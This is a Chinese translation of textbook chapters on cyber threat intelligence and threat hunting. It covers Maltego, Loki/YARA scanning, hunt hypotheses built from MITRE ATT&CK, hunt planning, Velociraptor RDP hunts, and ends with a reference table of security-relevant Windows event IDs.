图形用户界面的右侧是转换中心(Transform Hub)。在这里,用户可以下载并配置用于从各种来源提取数据的具体工具。在本例中,我们选择**VirusTotal (公共 API)**转换。值得注意的是,社区版具有有限的转换功能。这对于测试和一些有限的研究是足够的,但如果你需要更多信息,考虑购买许可证版本。将光标悬停在 VirusTotal 转换上会弹出以下窗口:
图 17.28 – VirusTotal 变换
会弹出一个对话框,点击是来安装变换。接下来会出现以下窗口:
图 17.29 – VirusTotal 变换 API
VirusTotal 变换需要一个来自 VirusTotal 的 API 密钥。可以通过在 VirusTotal 创建帐户来获得该 API 密钥。该 API 密钥是免费的,允许 Maltego 运行来自 VirusTotal 的查询。一旦输入 API 密钥,点击确定。你可以为任何其他变换重复这个过程。例如,AlienVault OTX 也有一个在进行事件调查时很有用的变换。
现在我们已经安装了一些变换,可以开始使用 Maltego 了。点击左上角的圆形图标,点击新建。这将打开一个新的图,如下图所示:
图 17.30 – Maltego 新图
在图形用户界面的左侧是实体调色板。这些是 Maltego 可以为用户搜索和绘制的特定类型的 IOC。在这种情况下,我们将查看一个简单的 IP 地址 138.68.79.195,以确定它与其他任何指标之间的关系。点击Ipv4 地址在实体调色板中,然后将其拖动到中间屏幕,再剪切并粘贴 IP 地址。右键单击该实体,运行变换窗口将会打开:
图 17.31 – 运行变换
对于这个例子,我们将运行 AlienVault OTX 变换。点击右箭头。该变换将查询 AlienVault OTX,获取与 IP 地址相关的任何实体或 IOC:
图 17.32 – IP 地址图
在这种情况下,变换找到了几个与恶意软件相关的域名注册、IP 地址、URL 和文件哈希。对于哈希,也可以重复相同的过程。在这里,VirusTotal 变换在恶意软件实体上运行,显示该 IP 地址与后利用工具 Cobalt Strike 相关:
图 17.33 – VirusTotal 哈希返回
Maltego 是一个有用的工具,用于揭示 IOC 和更大规模对手基础设施之间的关系。正如我们所看到的,简单的 IP 地址(可能在防火墙日志审查中发现)可以通过利用 OSINT 来源,转化为对手的个人资料、基础设施和工具。除了在揭示 IOC 之间的联系时有用,OSINT 还可以用来检测隐藏的恶意软件或其他漏洞,使用上一章讨论过的 YARA 规则。
YARA 和 Loki
在上一章关于恶意软件的内容中,我们探讨了模式匹配工具 YARA,并介绍了如何创建规则。在本示例中,我们将通过一个扫描器应用一系列广泛的 YARA 规则,扫描器将尝试识别与这些规则匹配的文件或可执行文件。
一款用于扫描系统并利用 YARA 规则的好工具是 Loki,它是一个简单的 IOC 扫描器,位于 github.com/Neo23x0/Loki。这个轻量级的平台允许事件响应分析师扫描文件夹、文件,甚至整个卷,查找 IOCs,比如 YARA 规则、已知的恶意文件哈希、文件名 IOCs 以及已知的 C2 服务器。Loki 开箱即用,拥有一个定期更新的广泛 IOC 库。要开始使用 Loki,按照以下步骤进行:
- 要检查系统卷中的特定 IOCs,请将 Loki 下载并解压到 USB 设备或本地系统中。打开
loki文件夹后,您会找到以下文件:
图 17.34 – Loki 文件
-
Loki 必须更新为最新的 IOCs,因此,右键单击 loki-upgrader 并以管理员身份运行。升级程序将运行,更新可执行文件和签名文件。完成后,更新器将关闭。
-
返回到 Loki 文件,您会看到一个名为
signature-base的新文件已被添加:
图 17.35 – 签名基础文件
该文件夹包含所有 Loki 可用于在卷上进行搜索的 IOCs。这也允许创建自己 YARA 规则的分析师将其加载到文件中,从而使他们能够定制解决方案。
- 要扫描系统,右键单击
loki.exe应用程序并以管理员身份运行。这将启动可执行文件并打开以下窗口:
图 17.36 – Loki 扫描
- 在规则集更新后,Loki 将开始在卷中搜索任何匹配的模式或 IOC:
图 17.37 – Loki 扫描输出
- 任何匹配的规则将以红色显示。在这种情况下,Loki 命中了工具 Nmap,它通常用于扫描内部网络,既用于合法用途,也用于恶意目的:
图 17.38 – Loki 扫描命中
在此,分析师可以注意到任何命中,并在后续进行检查。另一个关键特性是 Loki 可以部署在多个系统上,作为对可能被新型恶意软件感染的系统进行初步筛查的一部分。例如,事件响应分析师可能能够使用来自威胁情报提供商(如 ReversingLabs)的 YARA 规则,搜索 Petya 勒索病毒攻击的 IOC,其中包括从 GitHub 下载的 YARA 规则:github.com/reversinglabs/reversinglabs-yara-rules。
从这里,YARA 规则可以输入 Loki 或其他平台,并用于筛查可疑系统。
事件响应分析师可以使用的工具数量每天都在增加。这些工具包括商业工具和集成各种威胁情报流和功能的免费工具。通过这些工具,可以主动检测、警报并调查正在进行中的事件。CSIRT(计算机安全事件响应小组)应当努力审查这些工具,并将它们整合到他们的流程中。这样做将帮助他们更高效地检测和调查事件。
总结
孙子兵法中的战略概念包括“知己知彼,百战不殆”。通过这一点,你可以对自己在竞争中获胜的能力充满信心。威胁情报迅速成为组织主动安全控制的关键组成部分,同时也是组织应对事件的一个重要因素。本章探讨了网络威胁情报的最新技术和方法论,以及将这些数据付诸实践的来源、技术和方法。
为了前进,寻求利用威胁情报优势的组织,首先必须了解威胁。然后,他们可以定义自己的需求,并开始情报处理过程。最后,通过整合工具集来利用威胁情报,他们可以为自己提供更有效的主动控制能力以及高效响应的能力。虽然威胁情报可能无法完全消除对对手的恐惧,但它确实让组织拥有更多的“弹药”来应对今天的威胁。威胁情报在通过威胁狩猎主动识别环境中的威胁时也起到了重要作用,威胁狩猎是后面章节的主题。在深入讨论狩猎之前,我们将首先审视一种特定类型的威胁:勒索软件。
问题
-
哪项不是情报的关键元素?
-
受感染指示(IOC)
-
工具
-
基于证据
-
可操作的
-
-
以下哪项是网络击杀链的一部分?
-
网络钓鱼
-
武器化
-
恶意软件
-
IOC
-
-
TTPs 描述了对手在网络攻击中的行动。
-
正确
-
错误
-
-
以下哪项不是威胁情报类型?
-
操作
-
战略
-
防御
-
战术
-
进一步阅读
请参考以下内容,了解本章涵盖的更多详细信息:
-
操作化威胁 情报:
www.packtpub.com/product/operationalizing-threat-intelligence/9781801814683 -
什么是威胁情报?定义和示例:
www.recordedfuture.com/threat-intelligence-definition/Threats/Vulnerabilities:www.sans.org/reading-room/whitepapers/threats/paper/38790 -
Yara GitHub 仓库:
github.com/VirusTotal/yara -
Suricata:
suricata-ids.org/ -
Zeek 网络安全监控器:
www.zeek.org/ -
Snort:
www.snort.org/
第十八章:威胁狩猎
Mandiant 发布的 APT1 报告为信息安全专业人员提供了对最为经验丰富和活跃的威胁团体之一的深入了解。对中国人民解放军 61398 部队的洞察也为这些复杂的威胁行为者提供了背景。高级持续性威胁(APT)一词也成为了信息安全领域的术语。信息安全和事件响应人员现在可以洞察到那些在很长一段时间内未被发现的威胁活动。
由于 APT(高级持续性威胁)带来的威胁,再加上即便是相对复杂的攻击团体在目标网络中潜伏的时间,组织已开始从被动检测与响应转向更为主动的方法,以识别网络中的潜在威胁。这一实践被称为威胁狩猎,是一种主动的过程,运用数字取证技术对系统和网络组件进行分析,以识别并隔离那些之前未被发现的威胁。与事件响应类似,威胁狩猎是由过程、技术和人员组成的,且不依赖于预先配置的警报或自动化工具,而是结合了事件响应、威胁情报和数字取证的各个元素。
本章将通过考察几个关键元素,概述威胁狩猎的实践:
-
威胁狩猎概述
-
构建假设
-
规划狩猎
-
用于威胁狩猎的数字取证技术
-
用于威胁狩猎的 EDR
威胁狩猎概述
威胁狩猎是一项发展中的学科,主要受到威胁情报的可用性以及可以用来在当今现代企业架构中进行大规模威胁狩猎的工具(如端点检测与响应(EDR)和 SIEM 平台)的推动。由此发展出的是具体的工作周期和成熟度模型,可以指导组织开始和执行威胁狩猎计划。
威胁狩猎周期
威胁狩猎,像事件响应一样,是一个以过程为驱动的实践。目前并没有明确的、被广泛接受的标准流程,但威胁狩猎有一个大致的顺序,这一顺序为执行提供了可遵循的流程。以下图示将威胁狩猎的各个阶段结合成一个流程,指导威胁猎手完成各项活动,从而促进准确和全面的狩猎:
图 18.1 – 威胁狩猎周期
启动事件
威胁狩猎始于一个启动事件。将威胁狩猎纳入操作流程的组织可能有一个过程或政策,要求在特定的节奏或时间进行威胁狩猎。例如,某组织可能有一个流程,要求安全运营团队每月进行四到五次威胁狩猎,每周的周一开始。这些单独的狩猎事件中的每一个都会被视为启动事件。
第二种类型的启动事件通常由来自内部或外部来源的某种威胁情报警报驱动。例如,组织可能会收到类似于以下截图所示的警报。这个警报来自美国联邦调查局,地址为www.aha.org/system/files/media/file/2021/05/fbi-tlp-white-report-conti-ransomware-attacks-impact-healthcare-and-first-responder-networks-5-20-21.pdf,指示与 Conti 变种勒索软件相关的新的妥协指示器(IOCs)。组织可能会决定根据这一情报采取行动,并开始在网络中寻找与警报中提供的 IOCs 相关的任何指示器:
图 18.2 – FBI 警报
在启动事件完全理解后,下一阶段是开始制定在威胁狩猎过程中要寻找的内容。
创建工作假设
从启动事件开始,威胁狩猎团队接着创建工作假设。威胁狩猎是一项集中的工作,这意味着狩猎团队不会只是随便查看事件日志或内存映像,寻找任何他们能找到的东西。一个工作假设——例如一个 APT 组织已控制网络上的多个系统——是一个通用的假设,并未提供具体的威胁狩猎目标。威胁狩猎者需要将注意力集中在关键指标上,无论这些指标是来自持续威胁组织,还是来自现有的威胁情报。
工作假设提供了关注的重点。一个更好的假设可能是:一个 APT 风格的对手已控制了 DMZ 的 Web 服务器,并将其用作 C2 基础设施。这为狩猎团队提供了一个具体的目标,团队可以应用数字取证技术来判断这个假设是否成立。
通过警报启动的威胁狩猎通常能够发现可以用来构建假设的关键关注领域。例如,前一节包含了来自 FBI 的警报。除了与 Conti 相关的 IOCs 外,警报中还包含了以下内容:
具体的感染途径仍然未知,因为 Ryuk 会删除与用于部署恶意软件的下载器相关的所有文件。在某些情况下,Ryuk 是作为 TrickBot 和/或 Emotet 银行木马的后续部署,这些木马会使用 SMB 协议在网络中传播,并可被用来 窃取凭证。
从这些数据中,猎杀小组可以制定一个直接针对这些战术、技术和程序(TTP)的假设。这个假设可能是:敌方已经感染了多个内部系统,并且正在使用微软 SMB 协议在内部网络中横向传播,目的是感染其他系统。再次强调,这个假设具体且明确,能为威胁猎杀者提供一个具体的关注点,以便验证假设的正确性或错误性。
利用威胁情报
在前一章中,我们详细介绍了如何在事件处理中利用网络威胁情报。由于在威胁猎杀中我们正在应用各种事件响应和数字取证技术,网络威胁情报也在其中发挥着重要作用。与工作假设一样,威胁情报使猎杀小组能够进一步聚焦于通过回顾相关威胁情报所识别出的特定指示或 TTP。
一个关于假设与威胁情报结合的例子可以通过检查银行木马 Emotet 与支持其运行的基础设施之间的关系来提供。
首先,猎杀小组制定的假设是:内部网络中的系统与 Emotet 投放或指挥控制基础设施之间有过通信。有了这个假设,猎杀小组可以利用 OSINT 或商业数据源来增强他们的关注点。例如,以下网站已被确认为投放 Emotet 二进制文件的来源:
从这里开始,猎杀小组可以关注那些可能存在访问这些 URL 的流量迹象的系统。
应用取证技术
威胁猎杀周期中的下一个阶段是应用取证技术来测试假设。本书的大部分内容都致力于使用取证技术在各种位置寻找指示。在威胁猎杀中,猎杀小组将应用相同的技术来处理各种证据来源,以确定是否存在任何迹象。
例如,在前一节中,已确认五个与恶意软件 Emotet 相关的 URL 作为指标。威胁猎手可以利用多个证据源来确定这些指标是否存在。例如,代理日志的检查将显示内部系统是否连接到这些 URL 中的任何一个。DNS 日志也很有用,因为它们将显示内部网络上的系统是否尝试解析一个或多个 URL 来建立连接。最后,防火墙日志可能有助于确定是否已经向这些 URL 或相关 IP 地址发起了连接。
发现新的指标
在威胁狩猎过程中,可能会发现新的指标。搜索特定恶意软件系列的内存镜像会显示一个先前未知和未检测到的 IP 地址。以下是威胁狩猎中可能识别的前十个指标:
-
不寻常的出站网络流量
-
特权用户账户异常
-
地理异常
-
登录失败过多
-
数据库读取量过多
-
HTML 响应大小
-
文件请求过多
-
端口申请不匹配
-
可疑注册表或系统文件更改
-
DNS 请求异常
丰富现有假设
在威胁狩猎过程中,可能会发现新的指标,这可能会迫使修改现有的威胁狩猎假设。例如,在搜索 Emotet 感染指标时,威胁猎手发现 Windows 系统内部工具 PsExec 用于在内部网络中进行横向移动。因此,原始假设应相应更改以反映这一新技术,并将任何指标纳入持续的威胁狩猎中。
威胁猎手在发现新的指标时的另一种选择是开始新的威胁狩猎,利用新的指标作为启动事件。当识别到的指标或 TTP 明显超出原始威胁狩猎假设时,通常会采取这种行动。这也是在可能有多个团队可以利用的情况下的一种选择。最后,在发生数据丢失、凭证泄露或多系统感染的情况下,指标可能需要从威胁狩猎转向事件响应。在哪一点上修改现有假设、创建新假设或者在最糟糕的情况下宣布事件,是由狩猎团队来决定的。
威胁狩猎报告
第十三章 提供了需要的详细信息,使事件响应人员能够正确报告他们的活动和发现。威胁狩猎的报告同样至关重要,因为它为管理者和政策制定者提供了对狩猎团队所使用的工具、技术和流程的洞察,同时为额外工具的使用或修改现有流程提供了潜在的理由。以下是威胁狩猎报告的一些关键要素:
-
执行摘要:这一高层次的概述总结了采取的行动、发现的指标,以及猎杀是否证明或推翻了假设,为决策者提供了一个可以付诸行动的简短叙述。
-
威胁猎杀计划:该计划应包括威胁猎杀假设,并作为威胁猎杀报告的一部分。它为读者提供了猎杀团队在工作中所使用的各项详细信息。
-
法医报告:正如第十三章所探讨的,法医工具以及事件响应人员本身生成了大量的数据。威胁猎杀报告的这一部分是最为详尽的,因为每个系统或证据来源的详细检查应当被记录下来。此外,应提供一个全面的列表,列出所有在猎杀过程中被检查的证据项目。
-
发现:本节将指示猎杀团队是否能够证明或推翻在猎杀开始时设定的假设。如果假设得到了验证,应有文档记录后续的行动,如假设的修改、新假设的提出,或是否启动了事件响应能力。最后,所有在威胁猎杀过程中发现的 IOC、攻击指标(IOA)或 TTP 也应记录在案。
发现部分的另一个关键领域应指明现有的流程和技术如何支持进行详细的威胁猎杀。例如,如果威胁猎杀表明 Windows 事件日志在时间或数量上不足,应在报告中指出。此类洞察提供了为创建一个足够的网络和系统可见性环境以便进行详细威胁猎杀所投入的额外时间和资源的合理性依据。
威胁猎杀报告的另一个部分是专门用于非安全或与事件无关的发现。威胁猎杀常常发现易受攻击的系统、现有的配置错误或与事件无关的数据点。这些应作为威胁猎杀的一部分进行报告,以便进行修复。
- 建议:由于威胁狩猎过程往往会有发现,即便是那些否定假设且不包含任何安全发现的狩猎活动,仍然应该包括一些改进未来威胁狩猎、提高组织安全态势或改善系统配置的建议。还建议将这些建议分类。例如,战略性建议可能包括需要更多资源和时间来实施的长期配置或安全态势改善;战术性建议则可能包括短期内可以实现的简单改进,提升警报准确性,或优化威胁狩猎过程或系统设置。为了进一步分类建议,可以根据建议的紧迫性来进行优先级划分,那些旨在提升安全态势或防止高风险攻击的建议,应比单纯关注流程改进或配置变更的建议具有更高的优先级。
威胁狩猎报告包含大量数据,可以用来持续改进整体威胁狩猎过程。另一个需要考虑的方面是,可以向高级管理人员报告哪些关于威胁狩猎的指标。他们可能感兴趣的一些关键数据点包括:所用时长、已识别的未知指示器、已感染的系统、已识别的威胁,以及已包含的系统数量。拥有能够提供威胁狩猎能力指标的数据,表明该过程能够识别以前未发现的威胁,这将有助于确保这一过程成为组织日常安全操作的一部分,并得以持续进行。
威胁狩猎成熟度模型
网络安全专家 David Bianco(前一章节中提到的“痛苦金字塔”模型的开发者)在为网络安全公司 Sqrrl 工作时开发了威胁狩猎成熟度模型。理解这个成熟度模型与威胁狩猎的关系非常重要,因为它为威胁狩猎者及其组织提供了一个框架,帮助他们确定如何将威胁狩猎过程逐步成熟化。该成熟度模型由五个级别组成,从HM0 – 初始级别(或HM0)开始,到 HM4 为止。
接下来是对该模型五个级别的回顾:
-
HM0 – 初始级别:在初始阶段,组织完全依赖自动化工具,如网络或主机入侵预防/检测系统、杀毒软件或 SIEM 来向威胁狩猎团队提供警报。这些警报随后会被手动调查并进行修复。除了对警报的高度依赖外,此阶段没有使用威胁情报指示器。最后,这一成熟度级别的特点是收集系统遥测数据的能力有限。处于此阶段的组织无法进行威胁狩猎。
-
HM1 – 最低级:在最低级阶段,组织正在收集更多的数据,实际上可能已经可以访问大量系统遥测数据。此外,这些组织表现出将威胁情报融入其运营的意图,但在威胁行为者的最新数据和情报方面仍然落后。尽管这一阶段的组织通常仍依赖自动化警报,但增加的系统遥测水平使得这些组织能够从报告中提取威胁情报指标,并搜索可用数据以查找任何匹配的指标。这是威胁狩猎能够开始的第一个级别。
-
HM2 – 程序化:在这一阶段,组织正在使用由其他组织开发的威胁狩猎程序,并将其应用于特定的使用案例。例如,某个组织可能会找到一份关于通过 Windows 系统内部工具进行横向移动的演示或用例说明。接下来,他们会提取该程序的相关特征,并将其应用于自己的数据集。在此阶段,组织无法创建自己的威胁狩猎流程。HM2 阶段也代表了拥有威胁狩猎程序的组织中最常见的威胁狩猎成熟度级别。
-
HM3 – 创新:在这一成熟度级别,威胁狩猎者正在开发自己的流程。除此之外,还增加了多种方法的使用,包括机器学习、统计分析和链路分析等,这些方法不依赖于手动流程。此阶段也有大量可用的数据。
-
HM4 – 领先:作为威胁狩猎的前沿阶段,领先的成熟度级别结合了 HM3 的许多特点,但有一个显著的区别,那就是使用自动化。过去产生有效结果的流程被自动化,为威胁狩猎者提供了一个机会,创建新的威胁狩猎系统,更加有效地跟上新兴威胁的步伐。
威胁狩猎成熟度模型
威胁狩猎成熟度模型是一个有用的框架,帮助组织识别其当前的成熟度水平,并规划未来技术和流程的纳入,以跟上不断变化的威胁格局。
制定假设
在前面的章节中,我们探讨了制定具体且可操作的威胁狩猎假设的重要性。此外,我们还讨论了威胁情报如何帮助我们制定假设。另一个在制定假设时可以利用的关键数据集是 MITRE ATT&CK 框架。就制定具体假设而言,这一框架在深入挖掘到制定扎实假设所需的具体数据点时非常有用。
MITRE ATT&CK
在 第十七章 中探讨了 MITRE ATT&CK 框架,特别是它如何在事件响应中融入威胁情报。MITRE ATT&CK 框架在威胁狩猎的初步规划和执行中也非常有用。MITRE ATT&CK 框架在威胁狩猎的多个领域中都非常有价值,但本章的重点将放在两个具体的用例上。第一个是使用框架来制定一个具体的假设。第二,框架可以用来确定可能的证据来源,从而产生最佳的指标。
第一个用例,制定假设,可以通过检查 MITRE ATT&CK 框架中各种策略和技术来实现。虽然这些策略具有描述性,但它们并不具体到足以在威胁狩猎假设创建中发挥作用。威胁狩猎者应关注的是构成策略的各种技术——例如,检查初始访问策略,该策略描述了对手用来获得初步立足点的各种技术。MITRE ATT&CK 框架详细描述了这些策略。
MITRE ATT&CK 框架可以通过将一个或多个这些技术结合到不同的策略中来为假设提供支持。例如,如果威胁狩猎团队关注 C2 流量,他们可以查看 MITRE ATT&CK 企业策略下的 TA0011。该策略下有 22 个具体的技术。从这里,威胁狩猎团队可以选择一种技术,如 T1132—数据编码。然后,他们可以制定一个假设,表述为:对手已经入侵了内部网络上的系统,并使用编码或压缩技术来混淆 C2 流量。
在这个例子中,MITRE ATT&CK 框架为制定假设提供了坚实的基础。MITRE ATT&CK 框架还提供了对已识别为使用这种技术的各种威胁行为者组和工具的深入了解。例如,检查技术 T1132—数据编码,位于 attack.mitre.org/techniques/T1132/,揭示了像 APT19 和 APT33 这样的威胁行为者组都使用这种技术来混淆它们的 C2 流量。在工具方面,MITRE 指出各种恶意软件家族,如 Linux Rabbit 和 njRAT,使用混淆技术,如 Base64 编码或编码的 URL 参数。如果威胁狩猎团队愿意,这可以进一步将威胁狩猎集中在特定的威胁组或恶意软件家族上。
MITRE ATT&CK 框架在威胁狩猎中的第二种应用方式是提供关于证据来源的指导。回到 T1132—数据编码技术,MITRE 指出,与该技术相关的最佳数据源是数据包捕获、网络协议分析、进程监控和识别使用网络连接的进程。从这里,威胁猎手可以利用 Moloch 或 Wireshark 进行数据包捕获分析,识别任何恶意指示器。这些可以通过检查关键系统的内存中的网络连接及其相关进程来进一步增强。
MITRE 通常会细化更多有助于威胁狩猎团队在寻找指示器时的细节。技术 1132 包含了关于该特定技术的更多细节,如下所示:
分析网络数据,以识别不常见的数据流(例如,客户端发送的数据量显著超过从服务器接收的数据)。通常没有网络通信或以前从未见过的进程利用网络时是可疑的。分析数据包内容以检测不符合预期协议行为的通信,尤其是针对所使用端口的协议。
有关该技术、数据源和潜在行动方案的详细信息对威胁猎手帮助巨大,因为它使他们能够将注意力集中在威胁狩猎、假设以及最终的行动方案上。这些元素有助于制定威胁狩猎计划。
计划一次狩猎
开始进行威胁狩猎并不需要大量的规划,但应该有一些结构化的安排,关于如何进行威胁狩猎、数据源以及威胁狩猎将聚焦的时间段。一个简短的书面计划将涵盖所有必要的关键点,并确保猎手团队集中在同一焦点区域,从而减少与威胁狩猎无关的外部数据。以下是任何计划中应涉及的七个关键要素:
-
假设:一个简短的一到两句话的假设,之前已经讨论过。所有猎手团队成员都应该清楚理解这个假设。
-
MITRE ATT&CK 战术:在上一章中,讨论了 MITRE ATT&CK 框架及其在威胁情报和事件响应中的应用。在这种情况下,威胁狩猎应该包括威胁行为者使用的特定战术。选择最适用于假设的战术。
-
威胁情报:狩猎团队应尽可能利用内部开发和外部来源的威胁情报。外部来源可以是商业提供商或 OSINT。威胁情报应包括与假设和先前识别的 MITRE ATT&CK 战术直接相关的 IOC、IOA 和 TTP。这些数据点将是狩猎团队在狩猎过程中所利用的。
-
证据来源:这应列出在威胁狩猎过程中应利用的各种证据来源。例如,如果狩猎团队正在寻找通过 SMB 进行的横向移动指标,他们可能希望利用 NetFlow 或选择的网络数据包捕获。使用远程桌面进行的横向移动的其他指标可以在 Windows 事件日志中找到。
-
工具:该计划的这一部分概述了审查证据所需的具体工具。例如,第十二章讨论了使用开源工具 Skadi 进行日志文件分析。如果威胁狩猎计划使用此工具,则应在计划中包含该工具。
-
范围:指将包含在威胁狩猎中的系统。计划应指示关注单个系统或多个系统、子网或网络段。刚开始时,威胁狩猎者应集中于有限数量的系统,并在熟悉工具集及可以在给定时间内检查的证据量后逐步增加系统。
-
时间框架:由于威胁狩猎通常涉及对证据的回顾性检查,因此有必要设定一个时间框架,威胁狩猎团队应集中于此。例如,如果一个来源事件相对较新(例如 48 小时内),计划中所指示的时间框架可能仅限于过去 72 小时,以处理任何先前未被发现的对手行动。其他时间框架可能会将威胁狩猎的范围扩展到 14 天,甚至 30 天,具体取决于假设和可用的威胁情报。
这是一个示例威胁狩猎计划,将这些元素融入到一个易于查看的框架中,用于识别 Cobalt Strike 的存在:
图 18.3 – 威胁狩猎计划
该计划概述了对 Cobalt Strike 存在的威胁狩猎。假设和 MITRE ATT&CK 技术被清晰定义,设定了整体工作的范围。从威胁情报的角度来看,用户cobaltstrikebot是一个非常好的最新 IOC 来源。证据来源和所需的工具被清楚地定义,并与可以利用的具体遥测范围一起提供。最后,分析师设定了为期 7 天的威胁狩猎时间框架。由于 Cobalt Strike 等工具的普及及其相关风险,这种类型的威胁狩猎可能每周进行一次,这一点反映在时间框架中。
现在我们有了一个计划,让我们简要地看看数字取证技术如何适应威胁狩猎,以及如何在大规模上进行狩猎。
威胁狩猎的数字取证技术
我们已经专门为网络和端点系统的数字取证技术安排了几章内容。将这些技术应用于威胁狩猎的挑战在于,有些技术与整体威胁狩猎方法并不兼容。例如,以识别恶意脚本执行为目标的狩猎行动不能依赖于随机选择的单个系统,而应该具备检查整个网络中所有系统以寻找匹配行为的能力。
在将数字取证技术整合到威胁狩猎程序时,有一些需要考虑的事项:
-
识别数据源:如果你没有能力利用防火墙连接日志进行超过 24 小时的分析,那么可能很难追溯到足够远的时间点来进行有效的网络威胁狩猎。不要轻易放弃,可以进行一些威胁研究,以识别与你所选工具匹配的其他行为。如果你能够提取过去 10 天的 PowerShell 日志,你就更有可能发现集中于搜索 Windows 事件日志的后渗透框架,而不是防火墙日志。
-
专注于规模:我们在前几章中探讨的许多取证技术,都是在某些其他数据表明证据可能存在于特定系统中后执行的。例如,看看 ProcDump 的执行情况。SIEM 发出的警报或其他指示通常会指向需要调查的特定系统。所需的是在整个网络中扫描这种行为的能力。这需要使用像 IDS/IPS、SIEM 这样的工具,或者正如我们接下来将讨论的,支持这种规模的 EDR 工具。
-
开始狩猎吧:正如我们在成熟度模型中看到的,你不会在一开始就处于威胁狩猎的前沿。相反,最好从小做起。例如,识别威胁情报源中正在利用的五大威胁。然后,专注于证据收集和分析。随着这个过程的推进,你会发现更多的数据源和证据收集工具或技术,之后可以将它们纳入到这个过程中。
-
三种可能的结果之一:最后的考虑是,威胁狩猎有三种可能的结果。第一,你证明了假设正确,现在必须转向事件响应。第二,你没有证明假设正确,但验证了你的工具和技术足以得出准确的结论。第三,也是最终的结果,你无法证明或反驳你的假设,因为缺乏工具、技术不成熟或两者的结合。在任何情况下,你的狩猎计划都会不断改进。
接下来,我们将简要了解 EDR 平台如何帮助大规模提供数字取证。
EDR 在威胁狩猎中的作用
在威胁狩猎中大有帮助的一类工具是 EDR 工具。这些工具建立在现有的杀毒平台方法论之上。许多这些平台还具备在整个企业中搜索特定 IOC 和其他数据点的能力,允许威胁狩猎团队在大量系统中搜索任何匹配的 IOC。这些工具在威胁狩猎中应得到广泛使用。
这种功能可能超出某些组织的预算。在这种情况下,我们也可以使用前面讨论过的工具 Velociraptor 进行威胁狩猎。在这种情况下,让我们来看一下假设为以前未被识别的威胁行为者正在通过 RDP 连接到内部系统作为其初步立足点的威胁狩猎:
- 首先,登录 Velociraptor 并点击最左侧栏的目标符号。这将打开威胁狩猎页面。
图 18.4 – 配置威胁狩猎
- 接下来,点击加号以开始一个新的威胁狩猎。
图 18.5 – 威胁狩猎描述
- 输入描述信息,然后点击选择工件。可以滚动查找或使用关键字搜索,找到标记为Windows.EventLogs.RDPAuth的远程桌面工件。
图 18.6 – 设置要收集的工件
-
保留其余参数为默认值,然后点击启动。
-
在中间窗格中选择该狩猎,然后点击左上角的播放符号。
-
下载结果。
图 18.7 – 下载结果
在这种情况下,我们将简要回顾结果,该结果位于 CSV 文档中。我们可以在文档中看到实际的 RDP 连接以及相关的 IP 地址。
图 18.8 – 威胁狩猎结果
从这里,分析师可以解析数据,并确定哪些连接需要进一步的升级和调查。
EDR 工具允许分析师对即使是最大的网络进行大规模的威胁狩猎。这项能力在追踪可能影响网络中各种系统的威胁时至关重要。即使没有 EDR,像 Velociraptor 这样的工具也能提供类似的功能,帮助分析师快速获取进行有效威胁狩猎所需的数据。
总结
Eric O’Neill,前 FBI 情报专家和网络安全专家曾说:当你不主动狩猎威胁时,威胁就会主动狩猎你。这正是威胁狩猎背后的情感。正如之前所讨论的,从妥协到检测的平均时间足够对手造成重大损害。威胁检测可以通过理解组织在主动威胁狩猎方面的成熟度,应用威胁狩猎周期,进行充分规划,并最终记录发现来完成。采取主动防御可能会减少对手造成损害的时间,并有助于保持领先,跟上不断变化的威胁格局。
问题
请回答以下问题以测试您对本章节的知识掌握情况:
-
在威胁狩猎成熟度模型的哪个层级中可以找到机器学习等技术?
-
HM0
-
HM1
-
HM2
-
HM3
-
-
以下哪项是前 10 大 IOC?
-
IP 地址
-
恶意软件签名
-
过多的文件请求
-
URL
-
-
启动威胁狩猎的事件可以是一个威胁情报报告。
-
正确
-
错误
-
-
工作假设是关于威胁狩猎意图的概括性陈述。
-
正确
-
错误
-
进一步阅读
请参考以下内容,了解本章节所涵盖的更多细节:
-
您的实用威胁 狩猎指南:
www.threathunting.net/files/hunt-evil-practical-guide-threat-hunting.pdf -
使用 Velociraptor 进行威胁狩猎:
docs.velociraptor.app/presentations/2022_sans_summit/
附录
IT 和安全专业人员可以使用大量的 Windows 事件日志类型。本附录包含了与安全和事件调查相关的最关键事件,并已作为参考提供。
| 事件 ID | 事件类型 | 主要用途 | 事件日志 |
|---|---|---|---|
| 21 | 远程桌面服务:会话登录成功。 | 事件关联,横向移动,范围界定 | TerminalServices-LocalSession Manager/Operational |
| 25 | 远程桌面服务:会话重新连接成功。 | 事件关联,横向移动,范围界定 | TerminalServices-LocalSession Manager/Operational |
| 102 | 当终端服务网关服务需要有效的安全套接字层(SSL)证书以接受连接时,记录此事件。 | 事件关联,横向移动,范围界定 | Microsoft-Windows-Terminal Services-Gateway |
| 106 | 用户注册了一个计划任务。 | 执行,持久性 | Windows 任务调度器 |
| 107 | 任务调度器由于时间触发启动了一个任务。 | 执行,持久性 | Windows 任务调度器 |
| 131 | RDP 服务器接受了新的 TCP 连接。 | 事件关联,横向移动,范围界定 | 远程桌面服务 RdpCoreTs |
| 140 | 用户更新了一个计划任务。 | 执行,持久性 | Windows 任务调度器 |
| 141 | 用户删除了一个计划任务。 | 执行、持久性 | Windows 任务调度器 |
| 200 | 任务调度器在任务实例中启动了操作。 | 执行、持久性 | Windows 任务调度器 |
| 201 | 任务调度器成功完成任务。 | 执行、持久性 | Windows 任务调度器 |
| 800 | 管道执行详情。 | 事件关联、横向移动、执行 | PowerShell |
| 4103 | 执行管道。 | 事件关联、横向移动、执行 | PowerShell |
| 1024 | RDPClientActiveX 尝试连接到服务器。 | 事件关联、横向移动、范围定义 | Microsoft-Windows-Terminal Services-RDPClient/Operational |
| 4624 | 账户成功登录。 | 事件关联(事件与用户)、范围定义、用户位置识别 | 安全 |
| 4625 | 账户登录失败。 | 事件关联(事件与用户)、范围定义、用户位置识别 | 安全 |
| 4634 | 账户已注销。 | 事件关联(事件与用户)、范围定义、用户位置识别 | 安全 |
| 4647 | 用户发起注销。 | 事件关联(事件与用户)、范围定义、用户位置识别 | 安全 |
| 4648 | 使用显式凭据尝试登录。 | 事件关联、横向移动、范围定义 | 安全 |
| 4672 | 新登录分配了特殊权限。 | 特权提升 | 安全 |
| 4698 | 创建了一个计划任务。 | 持久性 | 安全 |
| 4727 | 安全启用的全局组已创建。 | 特权提升、横向移动、持久性 | 安全 |
| 4728 | 安全启用的全局组中添加了成员。 | 特权提升、横向移动 | 安全 |
| 4737 | 安全启用的全局组已更改。 | 特权提升、横向移动、持久性 | 安全 |
| 4706 | 新的域信任已创建。 | 控制验证 | 安全 |
| 4720 | 用户账户已创建。 | 特权提升、横向移动、持久性 | 安全 |
| 4729 | 从安全启用的全局组中移除成员。 | 控制验证 | 安全 |
